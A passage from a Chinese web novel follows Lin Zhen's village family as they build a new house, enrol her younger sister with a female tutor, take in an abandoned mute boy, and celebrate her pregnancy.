嘶,这回可不能真姐儿说是甚就是甚,他多少得过问一句。 “咱家现在多了吴麽麽和卢老,挨挨挤挤勉强住得下。可家里人手不够,再添人,可怎么也住不开了。” 林真掰着手指头数。 “买了田地,總得雇了人来种;您那头四处收猪,其实可添个人相帮;苗娘子这头,带着吴麽麽不仅要制腐竹豆干,还得管着一家子的吃食,着实忙碌。女儿开铺子忙生意,是冲着教您二老能松快些的,可不是教您和苗娘子都忙得团团轉。咱家,至少,还得再赁三两个长工来。” 林真见她屠户爹听进去了,又道:“还有,咱枣儿村人口愈发多了,往后这宅基地怕是不好买,早些买了才好。我可不想往后搬来一户探头探脑的邻居,或是买迟了,又像堰塘那头修路似的,掰扯个没完。” 先前买地挖堰塘,只晓得那处易引活水,可后头驴车出入得多了,才发觉行路艰难。 若是一下雨,没有夯实的土路,湿滑松散又泥泞不堪,车轮子陷在泥地里,半天都拔不出来。 林真一狠心,便说要修路。 可没想到,她想修路,有人还不乐意呢。 按林真规划的路面,她这路,得占去同村一户陈姓人家的田地。 林真带了礼,好声好气去与人商量,或是按市价买下,或是用自家的田地与陈家交换都成。 如此,硬是没谈妥,那陈家,不止说话不中听,居然还狮子大开口。 两分田,要卖她两贯钱! 林真提了礼,轉身便走。 后头还是托了林有文出面,又绕了些路,或换或买,总算将那头夯出了一条能过驴车的土路来。 家里这屋子迟早都得修,还不如趁着那头现在是无主的地界,早早买下来。 “咱家一起湊湊,我和贺景这头出七十贯,咱一气儿建了大宅来,这头的老屋,便专专用来制腐竹啥的,长工的屋子也放在这头。新宅子,就咱自家住,宽敞又清爽。” 到时候建新宅的时候请了营造队来规划,弄俩小跨院儿,她和贺景自住一头,教燕儿也自个儿住一头。 这样,一家子既住一处,又互不相扰。 “成!”林屠户略一思索,爽快点头。 现不少村人和邻村的时不时会来家里买些腐竹鲜肉啥的,总有生人进进出出确实不爽快。迟早都要建,早些建了宅子,说不得,他小孙孙瞧着屋子都修好了,就来了呢! 林屠户越想眼睛越亮,转头去问苗娘子:“咱这头能出多少?” 苗娘子盘算一番:“咱能出五十贯!” “嚯!”一家子都惊了。 “您可别将自个儿手头的钱都添进去,给燕儿多留些。” 今儿燕儿出去玩儿了,林真说话就直白許多。 苗娘子笑着点头:“真姐儿不肖操心,我心里有数呢!” 林真见此,也不再说甚,只觉欣慰。 就是遇见这样齐心的一家子,她才有心一刻不停地折騰、挣钱、置业。 晚间缩在被子里的时候。 贺景摸摸林真的头发:“可痛快些了?” 林真斜睨他一眼:“哼,你又晓得了!” “你先前说了,折腾許久,手里也没存下甚钱来,这回可得存些。可去了一趟大伯家后,却添了建屋子的心思。”贺景凑近,抱了抱林真。 “我还能不晓得你?是瞧见了甚不痛快?现在可能说说了?” “唉……咱贺掌柜,确实观察入微。”林真叹气,投降了。 “也没甚,茂安哥来年开春娶妻,大伯家里修缮屋子,是大喜事儿。我只是,只是冷不防瞧着巧儿的痕迹一点儿不留,心里堵得慌。” 就是如此简单,或许巧儿本人都不会意识到。 可林真瞧见了,便不大痛快。 贺景没说话,只将林真往怀里搂了搂。 “燕儿长大要嫁人,我可不想,她一出门,回家了,连自个儿的屋子都没有。” 还有,往后她若是有女儿,大抵也要嫁人的,她也不乐意如此。 “嗯,咱多挣钱,将屋子建得又多又宽敞,往后都留着。”贺景安慰似地轻拍,“咱心里有她,她便永远都是自家人。” 林真笑了,他果然懂。 她凑过去,低声道:“还有,卢老那头也得添人使唤。总不能教咱们贺掌柜,一直在这儿养鱼罢?现在,换做是我,干巴巴地瞧着四娘和沈大哥了。” 第75章 良田不好买, 无主的宅基地还是好买的。 林家没声张,只备足银钱,教林屠戶出面, 悄悄将自家后头那一片地都买下来。 地契到手,林屠戶便想交与林真。 林真可不接,摆摆手道:“您自个儿拿着罢,我手里地契、鋪契的可不少, 往后还怕没有麽?” 于是这张地契, 兜兜转转又到了苗娘子的匣子里, 那里还有一张地契,是现在这處宅子的。 “嘿,我就说真姐儿一准儿不要,你俩还推来让去的。”林屠户道。 苗娘子摩挲着装地契的匣子, 笑了笑:“真姐儿自来是大气爽利的,我能遇见你, 燕儿能遇见真姐儿, 是我母女俩此生最大的幸事。” 明年, 林真便要送燕儿去女塾師處讀书,寻常人家谁能做到这份儿上?更别说, 那女学處, 要價忒高! 单是束脩, 一年便要十二贯, 若是加上三節两寿之礼,燕儿一年, 单单讀书这项,至少得花去十五贯钱! 苗娘子初初听闻那位仇娘子的要價时,第一个反应就是:不成! 乖乖, 这些个花销,已能培養男子讀书举业了,燕儿一个小女孩,略识得几个字,能打算盘记账便已经是旁人没有的了,怎还能花去这些钱,去讀那劳什子女学? 那得招来多少非议? 苗娘子的心动,在打听得林真先前上的学堂不过一月六百个钱后,彻底打消了。 “真姐儿,便是要送燕儿去读书,去你先前那处学堂不好麽?你现在这样能干,可见先生是有真本事儿的。”苗娘子劝道。 林真笑眯眯道:“那確实不巧,我先前的老師已不大收学生了,且咱家现多在长兴坊那头出入,離得也遠,倒是仇娘子这头更近些。” 才怪,原身先前的老師,很有些拜高踩低,对原身多是疾言厉色,对富商家的姐儿倒多是和气。 且说是识字记账、女红中馈、人情酬酢样样都教,可林真回忆起来,倒不觉着,反多是敷衍了事,略提一句便罢。 若不然,她先前重阳節的时候,便会晓得要吃花糕、饮菊花酒了。 可仇娘子不同,她那头,不止要价高,规矩还多:蒙昧小童不收,不合眼缘不收。可这样下来,她收的学生少,听中人说,不过一指之数,可人確实用心。 林真初听时,还在心底吐槽:差点搞个三不收出来。 可去拜访仇娘子后,她恨不得教燕儿当场拜師。 “要先与娘子说明白,我这头,多读四书,《女则》、《内训》略读。” 林真点头:挺好,读书是为明理,可不是为了甚三从四德。 “算术记账要学,还得写文章,虽不求制式用典,可得言之有物。” 林真再点头:实用技巧和读书笔记,很好! “琴棋书画,点茶香道只略讲,但裁剪刺绣和烹饪调味要下功夫,此外,还有祭祀之礼,更是不可輕忽。” 林真听到这时,心中对仇娘子只有钦佩再无怀疑:这才是真真因材施教的好老师! “最重要的一点,不可半途而废,一旦送到我这头来,便要日日上课,十日一歇,一年两次长假。其余时候,若是今日告假明日回家,那便不必来了。” 林真起身一礼,道:“娘子大才,明日我便唤了家妹一同来拜见娘子,盼着能教娘子收下。” 仇娘子受了这个礼后道:“今日便去买了纸笔来,其余器具不肖准备,我这里一应都有。明日便带着令妹来上学罢。” 林真眼睛一亮,赶緊定下此事:“多谢娘子肯收下小妹,往后便劳您费心教导!” 话音刚落,仇娘子身边梳三小髻的小丫头便捧了四本书来:“请林娘子收下,这是我家娘子送与学生的拜师礼。” 林真低头一瞧,竟是四本装订好的书,瞧上头娟秀却不失洒脱的字迹,怕是仇娘子亲手所抄。 她双手收下,再是一礼后才離去。 小丫头瞧着林真走遠了,才笑道:“娘子今儿倒是好说话,都没见过林娘子的妹子,也不说考较一番,竟就收下了。” “观其言行便晓得林家次女也差不到哪儿去,且我这处从来只见娘亲带女儿拜师,这隔了一层的姐姐带妹妹拜师,还是头一遭。”仇娘子輕笑,“若不成全这一番赤诚之心,倒是我的不是。” 林真在这件事上不肯让步,她废了好些功夫才寻来的塾师,怎肯轻易放弃。 “娘子别听外头那些酸言酸语,咱自家辛苦赚来的银钱,想怎么花就怎么花。这花在子女教養上,便是头一等的花销!燕儿总不能跟着我一直在铺子里打转罢?便是我,等鋪子里的伙计培养出来后,我自家也是要多读书的。” 林真早先便从慈幼院选了俩孩子在铺子里做事,此时为了不教燕儿当失学儿童,也是豁出去了。 连多读书的话都说得出来!那本《大虞律》还搁在柜子里生灰呢! 话都说到这份儿上了,苗娘子还有甚不同意的。 她点点头:“这束脩哪有你出的道理,便从我这头……” “从公中出才是正理。”林真接话。 苗娘子也只得点头。 燕儿上学的事儿便如此定下,小孩儿黏着林真,小声道:“谢谢阿姐。” 她翻过年去便要十岁了,很多事情,她心里隐约晓得:像送她去读书这样的话,若不是阿姐提了,她大概是没有这个机会能读书的,更别说,还是去那样好的女塾师那头。 林真摸摸她的小鬏鬏:“元宵之后便要去读书,这些日子是最后的松快日子,可练字认字也不能落下。你开蒙晚些,仇娘子晓得你的情况,平日里有甚不懂的,不要怕,多问问就是了。” 燕儿点头:她阿姐废了恁大的功夫送她读书,她哪有不珍惜的道理? 林真不愿意真当文盲,自搬来枣儿村后,便借着教导燕儿识字的理由,将原身的书本都读了个遍。 两年下来,燕儿跟着识了不少字,常见字的读写是没问题的。 说来,賀景也是跟着她学的,后头羅四娘也跟着学了不少,她高低也算得上个启蒙夫子罢? 启蒙夫子晚间盘算着:“咱家今年挣得多,可来年花销也大,还得再加把劲儿。” 今年林家确实凭借堰塘很赚了些钱,立冬那日出笼的鳝魚,让鲜魚菜行又出了一次風头。 清塘后,卢老在溢水塘里还养了好些魚,除了选出来的种鱼,还特意留下了一批好养活的鲤鱼来精心养着。 冬日里的活鱼,在县里又是一样稀罕物,即便是寻常的鲤鱼,也卖出了好价。 可因着家里计划着建宅买田,今年林真照旧在年节下接了送鲜肉的单子。 且这回有羅四娘能拿着单子送货,两家人轮流着跑,林真便多接了许多订单。 整个年节里,只有除夕和初一那一日闲着,其余时候,都得顶着冷風落雪往县里送货去。 “年节里物价贵,再有客人许的车马费,虽说辛苦些,可赚得也多,咱再辛苦一年,明年便好生歇歇!” 开铺子是个长久活儿,一年到头也只有年节下这十来天能关了铺子好生歇着,可他们要送货便歇不得。 林真也晓得辛苦,只能熟练画饼。 罗四娘爽朗一笑:“这算甚辛苦的?旁人想要辛苦还没法子呢!铜子儿进了兜里才是真,咱还这样年轻,可得趁着此时多多置下家业来,还能因着风雪便放着银钱不动身啊?” 林真笑,她就是喜欢罗四娘这股子冲劲儿。 想着能赚钱,便是一年只能睡两个懒觉林真也乐意。 可不想,她今年还得在祭祖那日一大早去吹冷风! “今年可没有县尊大人的亲笔,怎还要去?”林真不是很想去。 “今年有族学呀!这事儿是你提的,敬告祖宗总得教你去露个面。”林有文好脾气道。 与林真打交道久了,他自是晓得这侄女儿很有些离经叛道。 可这份离经叛道在林真身上倒要被赞一句:大胆果决。 林真没法子,又去干站了一上午。 初二这日,要往城西的浣花巷那头送货,这单便只能由林真顶上。 一大早,她只来得及与她姑和巧儿打个招呼,便要套着驴车进城去,那边给钱爽快,可人规矩也多:要当日送货,且不得过午。 林真还想着家来吃饭,便早早出门。 返程时,路上别说人了,连鸟雀都少见。 路上无人,可两人并不敢行快。冬日里,晨起时日日都能见得白霜,路面湿滑,还是小心些好。 “咦?那是甚?”林真也在车辕上陪着賀景,陡然见着路边一道滑痕,瞧着像是甚拖拽重物的痕迹。 她眉头緊皱,莫名有些心惊:“咱上午送货时可没瞧见。大过年的,除了咱家这样有事儿进城的,谁不是缩在家里猫冬走亲戚,怎会跑这头来?这处前不着村后不着店的,可别是有贼子偷了东西,不敢走官道,只敢往林子里钻小道。” 她有些纠结,不晓得该管还是不管。 贺景控制着驴车缓缓停下:“该是只有一人,但凡多个人手,便是抬着走,而不会拖着走。” 他将缰绳交到林真手里,摸出砍刀来。 “我悄悄儿摸去看看,你就在此处。” 林真刚要反驳,又听得贺景道:“我与沈大哥进过山,腿脚快。若是有甚,我跳上车来,咱立即就能驾车离开,可比两人都陷在险地里好。” 林真略一想,点点头:“你只去远远儿地瞧一眼,不要冲动,保全自个儿最要紧。” “晓得的,我现日子好过,可舍不得以身犯险。” 贺景长腿一迈便下了车,他放轻了步子,沿着那道深入林中的痕迹走去。 林真留在原地,将手炉打开,里头的炭火见风,窜起一串火星子来,若是有甚,迎头泼上去,也能拦一栏贼子的脚步。 她安抚着驴子,眼睛紧紧盯着林子的方向—— 作者有话说:林真:也没说读什么书[坏笑] 第76章 冷风吹过, 只有枯枝碰撞的窸窣声。 “咔嚓!” 林真心里一紧,只觉着这一刻的时光格外漫长。她握紧了炭火通红的手爐,双眼直直盯着林子。 “是我, 真姐儿,别怕。” 贺景的声音先传来,而后身影从林中转出来,瞧着怀里似乎抱着甚。 “你别过来, 没甚大事。这雪教我一踩, 路上净是烂泥。” “成, 你小心些,别踩滑了。” 贺景报了平安后,自个儿深一脚浅一脚地从林子里钻出来。 “瞧,是个半大小子。” 上了驢車后, 他解开自个儿的棉衣,将抱在怀里的孩子给林真瞧。 “没见着其他人, 这小子被装在麻袋里, 就扔在林子里。我瞧着还有气儿, 便先撿了回来。” “真是造孽!大过年的,居然干出这等事儿来!” 林真将手爐重新装好, 裹在那小孩的胸口處, 又推推贺景, 教他抱着孩子往車里去。 “别在外头吹冷风了, 早上装出来的热米汤还温着,你先喂他一点儿, 咱早些回去,教岑大夫瞧瞧,可还能救得回来。” 贺景没与林真相争, 这小子像块冰坨子似的,还是他自个儿捂着罢。 林真一扬鞭,跑惯路的驢子便哒哒向前。 此處离枣儿村不算远,林真稳住心神,控制着驴车一路直奔岑女医處。 “岑大夫,您瞧瞧这孩子,被扔在林子里不晓得多久了。我们撿到的时候浑身冰凉但能喘气,路上喂了些甜米汤,他也晓得吞咽。” 倆人抱着那孩子直冲岑女医的小院儿。 岑女医没多问,只招呼倆人将孩子抱进内室。 “白英,去抱一床被子,再引一个炭盆来。” 她自个儿伸手去探那孩子的鼻息,又翻了眼皮子细看,眉头微皺,取了银针艾柱来,手上动作不停,眼睛一直盯着小孩,口中道:“这孩子若是要救,得下重藥,可想好了?” 林真点点头,道:“您尽力救治,该用甚藥就用。” 这还能怎么想?撞到跟前了,又一路抱回来了,總不能瞧着他咽气罢。 “成,我晓得了。这儿用不到你倆,先家去报个平安罢。” 两人从岑女医这头出来,牵着驴车往家中去。 “发生何事了?怎往岑大夫那头去了?”半道儿上便碰着从家里找来的林屠戶。 “没,我倆都没事儿。外头怪冷的,咱先回家去罢,回去说。”林真晓得她爹是担心倆人出事儿,当即先应道。 “甚?又捡了一个孩子?还是个小子?”林屠戶惊呼出声。 “啥叫‘又’,上回那个不算,人还在慈幼院養着呢。”林真反驳道。 林屠戶白了自家女儿一眼,也没戳破她那小心思。 “不成,这事儿透着古怪。半大小子,再養上几年便可当个劳力使,挑担子服力役哪样不成?好端端的,怎会扔在林子里等死?” “哎呦,正月里可不興说生死。”苗娘子先连呸几声道恼,又疑惑道,“可确实是怪事,听你俩说,这孩子没缺胳膊少腿的,是个囫囵个儿,怎会扔了等天收?” “这可说不清,得等那小子醒了才知道。劳您备份儿礼,我往族长家走一遭,他是里正,得说与他听听。” 林真心中有些猜测,可也不好妄下断论,便只能先宽慰家人。 “但行善事,莫问前程。您二位都放宽心,咱这积善之家的牌子还在呢,又是在救人,便是有甚古怪麻烦的,也不是全然没有仪仗,别忧心。您先去大伯那头,我与贺景先往岑大夫那头去瞧瞧。” 时间确实不早了,林真便与贺景分开走。 她带上礼去族长家;贺景带着一篓子炭,去岑女医那头。 晌午吃饭时,虽说是与自家人团圆,可林家俩姑爷都在,少不得应酬几句,这一天过得,甚是忙碌。 好在她姑今年那六分鱼塘四分桑地的桑基鱼田有了收获,瞧着腰杆挺得格外直溜,面上喜气盈盈,连眼尾的皺纹都教喜气撑开了。 还有巧儿,有身孕了。 林真面上的笑有些勉强,可瞧着大伯娘和她姑都是一脸庆幸,拉着巧儿叮嘱些怀孕心得。 再瞧瞧巧儿,也是面色红润,眼角眉梢都是将为人母的温柔。 她没说扫興的话,只叮嘱巧儿注意自家的身子。 又凑过去悄悄给巧儿说:“岑大夫医术高明且会接生,若是那头没請来好的接生姥姥,倒是递个口信儿回家来。咱请了岑大夫去给你接生,别怕,平日里有甚不痛快的,都要说,可别憋在心里。” 她转头又去她大伯娘那头吹风。 岑大夫可了不得了,先前都是城西的老爷们請她,若不是岑大夫自个儿不乐意琐事缠身,有文叔可请不来她。哎呦,先前我心里对有孕产子怕得厉害,这下有岑大夫坐镇,心里便不慌了。 为着她大伯娘能开窍,她连自个儿都编排上了。 李金梅先是笑林真还是小孩儿心性,可后头心里确实是添了想法。 晚些时候,送去岑女医那头的小孩儿醒了,林真忙又请了族长一同去看。 这一看,可總算是晓得这孩子为何会被扔在林子里了。 “不能说话?还是个傻的?”林屠户皱眉,“这可是难办了,问不出话来,也不晓得这孩子家住何處,这可咋办?” “便是晓得也没法子,能扔一回,便有第二回 ,总不能救了再送他回去,又被扔。至于怎么办……”林真叹气,“等族长先问问罢。” 确实麻烦,不晓得家住何处,也不能往慈幼院送,说不得,只能留在枣儿村了。 “这孩子,怕是没人樂意養。”林屠户盯着林真瞧。 “若是无人愿意養,便只能咱家养着罢。只说是脑子不大灵光,可他能张嘴喝药,也能自个儿穿衣啥的,应当能听懂。咱家养得起,长大后,添些力气也能帮着干活。” 林真仰头,望着堂屋上挂的牌子,挂这牌子还真是不容易。 “也成,给口饭吃的事儿。”林屠户到底没忍住,“真姐儿,明年冬日,你不会又捡个人家来罢?” “哼!若是还教我碰上,我还捡!” 族长先是往乡里放出消息去,打听谁家有这样一个口不能言的半大小子,没打听着。 又在村里问,果真没人樂意养。 如此,那小孩的去处便只能是林真家里。 林真早有猜测,并不多诧异。 点头应下来,可她也托了岑女医,将那孩子的药方子都写作三份。她自个儿留一份,族长那头送一份,岑女医自留的一份是她自个儿的規矩。 又放出话去:这孩子她救下的,便她来养。可若是谁往后找上门来,便要将这救命的药钱结算清楚。 一瞧方子,旁的不晓得,可用了参子救命确实是岑大夫亲口说的。 这若是没点儿家底子,谁敢来领? 这小孩儿养在林家,最高兴的居然是盧老。 “他怕人,便跟着老头子我住堰塘那头去。東家给建得好屋,又备足了棉被炭火,放心,再冷不着饿不着他的。” 自打堰塘养鱼后,盧老多是留在那处,林真瞧着草棚子不像样,便给修了两间屋子。 此番倒是乐得将这孩子接在身边儿养,连屋子都好生拾掇了出来。 这孩子确实怕人,寻常若是没有林真或贺景在跟前,便要往暗处躲着,轻易不出来。可林真与贺景事多,哪能日日都带着他。 见盧老乐意,便试探着将那孩子领到盧老那头去,他倒是安静下来。 瞧着溢水口里游动的种鱼和甲鱼,蹲在那头,不动了。 “也成,您老若是有心,便劳您看顾他,只是这堰塘春来养鱼便要放水,可千万盯着别往堰塘那头去。这要是跌下去,他又不会说话,连救命都喊不出来,怕是要白白丢了性命。”林真道。 “您放心,这堰塘三面都教老虎刺围着,轻易靠近不得,入口的这面,老头子扎一排竹篱来挡着。”卢老指指看鱼看得欢喜,咧着嘴无声笑着的小孩,轻声道。 “您瞧,都说是个傻子,可他也晓得欢喜要笑,怕了要躲。老头子费心教着,一次不成教两次,多教几遍,他总能记着。老头子既在東家跟前夸下海口来,自然会将人看好。” 林真瞧着卢老,他看着孩子的眼神中,除了怜惜,还有某些更沉更重的东西。 “老头子早前也是有儿有女的,可逃荒路上……” 卢老低下头去,喃喃道:“那可真不是人能活出来的日子。” 林真沉默半晌,才道:“您老费心养他,也算是一场缘分,若是您愿意,便给他取个名儿罢。” “果真!”卢老一下子抬起头来,他搓搓手,“这人是东家救回来的,真教老头子取名儿啊?” 林真点点头:“您取。” “水生,那他便唤作水生!”卢老一下子便喊出来。 水生,便跟着卢老在堰塘边上住下。 除了这桩意外,林家的日子还是一如既往,忙碌但有盼头。 这日子一忙起来,时间便过得格外快。 吃了桂花甜口的浮元子后,便要送燕儿去仇娘子处读书。 这日,一家子都起了个大早,林屠户驾着骡车,与苗娘子一同,送挎着书袋的燕儿上学堂。 林真与贺景照旧去开铺子。 几人在城门口分开。 “燕儿去拜访过仇娘子,晓得学堂在何处,爹听燕儿的就成。” 林真又弯腰碰了碰燕儿的小鬏鬏:“去罢,阿姐下学来接你。” 林屠户和苗娘子绷着弦,可仇娘子处行事处处有章程,按着規矩来,又有小丫头引着,燕儿入学很是顺利。 倆人在弯头抻着脖子瞧,已有小娘子与燕儿搭话了。 “妹妹是老师新收的学生罢?我姓汪,单名一个菡字,妹妹如何称呼?” “汪姐姐好,我姓林,名燕,家里人都唤我燕儿。”—— 作者有话说:林真:人参须须,怎么不算人参呢?[狗头] 第77章 暖風一吹, 土地化冻,又是一年春忙时:翻地施肥,浸种催芽, 修渠引水…… 屋里田里,處處是活计,农戶人家分散在田间地里,忙忙碌碌, 开始为一年的生计口糧奔波劳作。 这时候, 一车车的石料木材往村里送, 瞧着可不是格外惹眼。 土地化冻,不仅忙春耕,林真也要忙建房。 这时候,村人才晓得, 林真家里头,又置下地来建房咯。 “这前年才修整过的屋子, 好好儿的砖瓦房子, 怎的又要建?哎呦, 你们说真姐儿到底赚了多少钱?才送了她那异母妹子去城里读那劳什子女子学堂,这头又買地建房, 她手里的钱财, 像是花不尽似的。” “嚇, 你管得人家呢!人自家的钱自然是想怎么花就怎么花, 眼红啊?眼红你自个儿想法子挣钱去,光盯着人家瞧, 怎的?铜子儿是瞧出来的?” 这话便说的很不客气了,可众人瞧瞧说话的倆人,愣是没开口劝。 先前冒酸话的是陳家人, 就是先前林真想買地修路的那戶人家。 后头开口的是林家婶子,恰好,这人与陳家是邻居。 林家婶子那阵子要给儿子娶妻,手里銀钱不凑手,原就等着賣个一两分地给林真换些銀钱使。 反正那片荒地全是碎石杂草,还有荆棘条子,难拾掇得很,家里那点子肥料堆在好田里都不够,哪里还有多余的粪肥去整荒地,不如賣给真姐儿换钱使。 真姐儿大方,必会给个厚道价。 哪成想,她还在家里等着呢,好事就教前头这陳家的给搅和了! 后头路修好后,春时赶牛犁地,夏秋收获也能拖着板车搬运物什,能省下不少力气。 那时,林家婶子瞧着陳家就不大顺眼了。 再有后头真姐儿家的鲜魚有了几分名气后,不时有县里来的采办去堰塘那头买魚。 有心思活泛的村人便前去兜售自家的瓜果蔬菜啥的,酒楼的采办瞧着新鲜便宜,便也乐意买上一些。可人也只愿意在那路邊儿上瞧一瞧,旁处杂草丛生的土路,人是懒怠挪动的。 如此,那条路上的人家可不就得了好! 你说自家挑着担子去賣? 一个字,难! 先不说东西能不能教采办瞧得上,就说那地那田都不是你家的,你往那头去作甚? 那片田地的人家个个都睁着眼珠子瞧着呢! 瞧着那邊儿上的几户人家得了实惠,林家婶子这心里,油煎似的! 她瞧这陈家的老货是愈发不顺眼。寻常没事儿都要呛两声,更别说此时教她拿住话头来,那更是有得说。 倆人这朝拌起嘴来,那是新仇旧恨叠一块儿,你一句我一句,互不相让。 “哼!我家的老黄狗便是摇尾巴,那也得见着肉骨头才成。不像有些人,甚好处没捞着,还巴巴儿地舔着捧着,人都不稀得搭理!” “哎哟哟,还肉骨头呢!我可没闻见肉香,只闻见酸味儿了!有些人酸的呀,比那沤烂了的菜幫子味儿还大!一双老眼,净是盯着别家瞧,眼珠子都快瞪出来了。可惜咯,自个儿是个贪心不足的,家里男人小子也都是些游手好闲的,置不来田地,只能盯着别家流涎水,瞧着比那癞皮狗还寒碜。” “你说谁!你说谁!我陈家多子多福,可不像是这光有宅屋没有人的!兜里有几个子儿便瞎摆阔,这十几间的宅屋建起来了,还不晓得有没有人来住呢!” 这话便说得诛心,竟像是咒人绝后似的。 边儿上本没有言语的村人都皱眉,当即便有林氏族人幫腔。 “陈家的,这是甚话?真当我林家无人?” 陈家的一瞧,边上围着的林家人多,她便不敢犟嘴,只小声嘀咕着:“本来就是,成婚快三年了,肚里没个动静,若是在我家,早撵走了!” “你这老货!真真儿讨打!”林家婶子离得近,全听见了,撸了袖子就要上前撕扯。 陈家的瞧见不对头,话也不敢回了,脚下一转,赶紧溜了。 村人的口角纷争和闲言碎语林真全然不知,便是知道了也只会一笑了之。 那话怎说来着? 就喜欢你看不惯我,可又干不掉我的样子! “真姐姐,你好似多算了半升米。”帮着娘亲送菜的小子,琢磨了半晌,发觉没对,此时大着胆子开口。 “嗯?”林真一惊,迅速在賬本上过一眼,还真是。 她抬头去瞧,妇人神色未变,反笑着打趣道:“真姐儿,这是怎的了?莫不是想白送米糧给嫂子吃?很不肖如此,你这用野菜换米粮的法子,已是大善,怎还能凭白占你的便宜?” 林真不去动那半升米,笑道:“嫂子这地皮菜清洗得甚是干净,瞧着鲜嫩得很。斤两又这样足,我这半升米不算多,您下回还有这样的好货,便尽管送了来。” 新开的铺子唤作鲜鱼菜行,自是也卖瓜果蔬菜的。 这些鲜菜是从那五亩荒地上来的,那荒地若是种粮食费勁儿得很,没个两三年的精心侍弄是不成的。 林真便教全种了应季的瓜果蔬菜来卖,她每年按照中等田地的出息给族里粮食便是。 鲜菜瓜果在铺子里卖得不错,可能越冬的蔬菜除了莱菔、菘菜,就是冬寒菜,县里早吃腻了。 林真便早早在村里收些香椿、荠菜、地皮菜之类的鲜嫩野菜来卖,原是想着放在铺子里充充场面的,便收得少。 可不成想,倒是格外好卖,不少人还就好这一口。 生意不错,林真便也细细盘算了一番,想着当成正经生意来做。 可鲜菜利薄,若是全用铜子儿,那她折腾一番,怕是只能白费力气。 思来想去,便定下以物易物的法子来收菜,用自家的陈米、豆干或是蒟蒻豆腐来换鲜菜。 这一出一进,盘賬的时候发现,居然还能走个薄利多销的路子来。 只是在算账时麻煩些,可能赚钱,又怎能嫌麻煩呢? 她能挣下今日的这份家业来,便不是个怕麻烦的。 送走了来换菜的村人,林真拍拍脑袋。 “真是春困秋乏夏打盹不成?我前儿在铺子里也算错了一笔账,幸而是熟客,道个恼再送一把鲜菜便算了,若遇上个较真儿的,怕是要以为我故意多收银钱咧!” 吴麽麽在一旁瞧着,心里计较一番,笑道:“姐儿怕是前些日子减了衣裳受風了,不若我陪着您往岑大夫那头去瞧瞧?” 林真撇嘴:“我可不去,岑大夫念叨人可厉害了。” “您怕是不想喝药汁儿罷?”吴麽麽笑道,又劝,“春来最是容易受风的,您时常念叨着小病拖成大病,怎到了自个儿身上便不在意了?咱一同去罷,老婆子也觉着不大爽利,咱一并去瞧瞧。” 林真无法,想着也就几步路的功夫,便与吴麽麽一同去了。 “有孕了,一个多月了。” 岑女醫收回手,神色淡淡道。 “哎呦呦!我就说,前儿那碗鱼丸汤,姐儿原先多爱喝,偏偏那一日闻着便皱眉,原是有喜事儿呢!” 吴麽麽最是欢喜,她还以为是自个儿手艺退步了。 “啊?” 林真还没反应过来,干巴巴应了一声。瞧着吴麽麽那欢喜勁儿,她硬着头皮问了一句。 “当真啊?月份这样浅,也能诊得出哈。” “扑哧!”立在一旁的白英先笑了,“怎的?不是先前真姐姐将师傅说得天上有地下无的时候了?” 这说得是先前在她大伯娘那头吹的风,她大伯娘果真来请了岑女醫去瞧巧儿。且在李家那头不止将岑女醫夸出花儿来,又含泪说了一番忧心女儿外孙的话来。 李家人立时便请岑女医帮着巧儿接生。 白英与燕儿要好,回来便在林真跟前闹她。 “青囊藏秒,妙手回春,杏林姮娥,不让扁鹊。真姐姐,你是没瞧见我师傅的脸色呀,差点儿在人前失态!” 林真干笑,她大伯娘,记性可真好。 她后头还提了能浸泡药材的清酒给岑女医赔罪去。 “您就放心罢。要说起妇人科,整个儿慈溪县,我师傅都得排前头!”白英昂着头,很是骄傲。 “好了。”岑女医面上有些无奈,又仔细打量林真一番,温声道。 “可是怕了?莫慌,你底子不差,好生养着,有我在一旁看着呢。” 林真笑了笑道:“也不是很怕,就是恍惚间,觉着有些,不真实。” “放宽心。”岑女医拍拍她,只交代了几句需要注意的地方便打发林真回去。 “成了,你家去歇着,待会儿賀景定是要来的,有些甚,我自会叮嘱他。” “哦。”林真也不敢犟,她这时候确实啥都记不住,便乖乖走了。 稍晚些,賀景家来。 听了这个消息,怔愣了好一瞬,便蹲在林真跟前一个劲儿傻笑:“真姐儿,咱们有孩子了!” 一句话翻来覆去说了好几遍,听得吴麽麽说要去岑女医那处,站起来便走。 “是了,我得去,真姐儿有孕辛苦,本就不该操劳,这些自然都该我注意着!” 苗娘子在后头唤他等等,一道去。 人也似听不见似的,直冲冲往前走,看得人好气又好笑。 “平日里瞧着多稳重,这会儿也失了魂儿似的。” 苗娘子说贺景厉害,可自个儿也快步往岑女医那头去。 瞧着家里人如此,林真反而定下心来。 正月里停了药的时候就想过可能有孕,这时候怎还慌了? 她伸手放在还平坦的小腹上,眉眼染了些笑意,心里默道:我虽是头一遭当母亲,可我当过孩子,你放心,我会护着你的。 第78章 林家亲友得了林真有孕的消息, 高兴得跟什么似的。 离得近的,当天就提着东西上门来瞧。 她大伯娘欢喜得很,说是巧儿生产在六月, 林真在年底,倆孩子年龄相近,又能挨着一處耍。又安慰林真,好事不怕迟, 这孩子虽来得晚些, 可人机灵, 曉得家里给建了阔屋大宅,这才来的。 林真:怎与她爹她姑一个说法?她这成婚三年才有孕,她爹她姑她伯娘,難不成便念叨了三年? 晚些时候羅四娘也来了, 还提着两只乳鸽。 “打西市那头的珍味坊弄来的,说是用黄芪枸杞来炖, 炖至骨肉软烂, 连汤带肉吃, 对有孕之人最好。我来之前问过岑大夫了,教你七日吃一回哩。” “怎还弄来这金贵东西来?”林真眉头微皱, “家里鸡鸭魚肉甚都有, 我吃得好着呢!很不必專專買这乳鸽来吃。” “是, 曉得家里甚都有, 这才特意買了家里没有的。”羅四娘顽笑一句,又道。 “可别推辞了, 两只兔儿换一只乳鸽,这有甚吃不得的?况且岑大夫说了,也就头两月吃吃, 七日一回,你才能吃多少?这几年鋪子里全仰仗着你,一年到头也没个清闲的时候,废心力得很,合该好生补补。” 她又故意做出一副财大气粗的模样来:“我家你还不曉得?甚不多,兔子管够的!” 鋪子里的兔子山鸡一直卖得不错,沈猎户便一心扑在養兔子上,还专门建了棚子来養兔子。 兔子这东西,确实能生,无人照料的山野里處處都是兔子窝,更别说这厢有人精心照料着,鲜草净水窝边就有,不用自个儿找食,可不就可着劲儿的下崽子了。 沈家那头,确实是不缺兔子,从前是沈猎户一人照料,现今也是请了人来幫着一同养。 沈猎户已许久不进山了,从前山里的木屋已然荒废,前些日子还有隔了村的猎户找来。打听得沈猎户若是不往山里去,那他从前占下来的那一片地盘,可不作数了。 沈猎户沉默半晌,也认了。 山里讨生活就是这样,地盘要争要守,他长久地不往山里去,从前占下来的地盘,定是守不住的。 